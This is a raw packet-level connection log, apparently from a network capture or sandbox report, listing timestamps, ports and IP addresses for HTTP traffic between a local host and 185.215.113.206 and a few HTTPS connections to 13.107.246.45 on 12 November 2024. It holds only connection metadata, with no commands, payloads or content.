Nov 12, 2024 17:07:27.987665892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.987692118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.987719059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.987806082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.987818003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.987828970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.987842083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.987850904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.987868071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.987895966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.987973928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.988022089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.989257097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989269018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989281893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989305973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.989331961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.989382982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989393950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989430904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.989511013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989521980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989557981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.989690065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989701033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989712000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.989732027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.989749908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.990173101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.990185022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.990199089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.990226030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.990251064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.990863085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.990874052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.990912914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.019512892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.019571066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.019583941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.019620895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.019634962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.040402889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.040595055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.040668964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.040682077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.040723085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.040745974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.108652115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.108666897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.108678102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.108727932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.108761072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.108942986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.108956099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.108968019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.108980894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.108990908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.109018087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.109133005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.109144926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.109155893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.109167099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.109175920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.109186888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.109205961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.109239101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.109401941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.109414101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.109451056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.110014915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110059023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110066891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.110076904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110095024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.110116005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.110198975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110209942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110220909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110234022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110243082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.110275984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.110925913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110939026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110950947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.110972881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.110991955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.136770964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.136837006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.136898994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.136951923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.157695055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.157708883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.157718897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.157815933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.157917976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.157917976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.157917976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.225672007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.225706100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.225719929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.225728989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.225747108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.225764990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.225843906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.225856066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.225891113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.225960016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.225972891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.226017952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.226121902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.226133108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.226145029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.226166964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.226185083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.226486921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.226505041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.226517916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.226527929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.226557016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.226679087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.226690054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.226731062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.226982117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.227026939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.227072001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.227085114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.227118969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.227129936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.227221012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.227231026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.227241993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.227266073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.227286100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.228072882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.228084087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.228096962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.228115082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.228132010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.228269100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.228315115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.274621010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.274665117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.274682045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.274722099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.274750948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.274784088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.274796009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.274806976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.274823904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.274847984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.275151968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.275202036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.275260925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.275316000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.295705080 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.296248913 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.296266079 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.296710968 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.296716928 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.342817068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.342832088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.342844009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.342896938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.342911959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.342947006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.342957973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.342976093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.342988014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343018055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343023062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343033075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343055010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343079090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343137980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343151093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343177080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343194008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343460083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343499899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343522072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343533993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343571901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343590975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343612909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343624115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343826056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343875885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343897104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343908072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343925953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.343935013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343950033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.343966007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.344109058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.344156981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.344460011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.344508886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.344527960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.344538927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.344549894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.344569921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.344585896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.344659090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.344705105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.344727039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.344768047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.344957113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.345001936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.345046043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.345088959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.385138988 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.385636091 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.385651112 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.386100054 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.386106014 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.391937017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.391951084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.391963959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.392011881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.392023087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.392036915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.392074108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.392090082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.392122984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.392292023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.392345905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.432137012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.432157040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.432228088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.432246923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.459753036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.459774017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.459786892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.459805965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.459950924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.459961891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.459979057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460006952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460006952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460113049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460135937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460150003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460155010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460170031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460182905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460232019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460268974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460293055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460304976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460329056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460344076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460450888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460463047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460485935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460503101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460699081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460711002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460743904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460752010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460824966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460836887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460849047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460860014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460870028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460882902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.460896015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.460913897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.461002111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.461045980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.461282015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.461318970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.461333036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.461343050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.461364031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.461380959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.461462975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.461473942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.461503983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.461527109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.504384041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.504400969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.504412889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.504458904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.504498005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.508956909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.508969069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.508979082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.509013891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.509036064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.509207964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.509248018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.509310007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.509321928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.509347916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.509358883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.515918970 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.516339064 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.516386032 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.516431093 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.516441107 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.516463041 CET	49737	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.516469002 CET	443	49737	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.519298077 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.519347906 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.519417048 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.519572973 CET	49740	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:28.519593954 CET	443	49740	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:28.549870968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.549886942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.549897909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.549936056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.549982071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.576946974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.576976061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.576988935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577033997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577054024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577099085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577111006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577146053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577162981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577184916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577195883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577207088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577235937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577261925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577513933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577548981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577558041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577569008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577579975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577600002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577693939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577703953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577718019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577729940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577739000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577764034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:28.577914000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:28.577925920 CET	80	49714	185.215.113.206	192.168.2.6
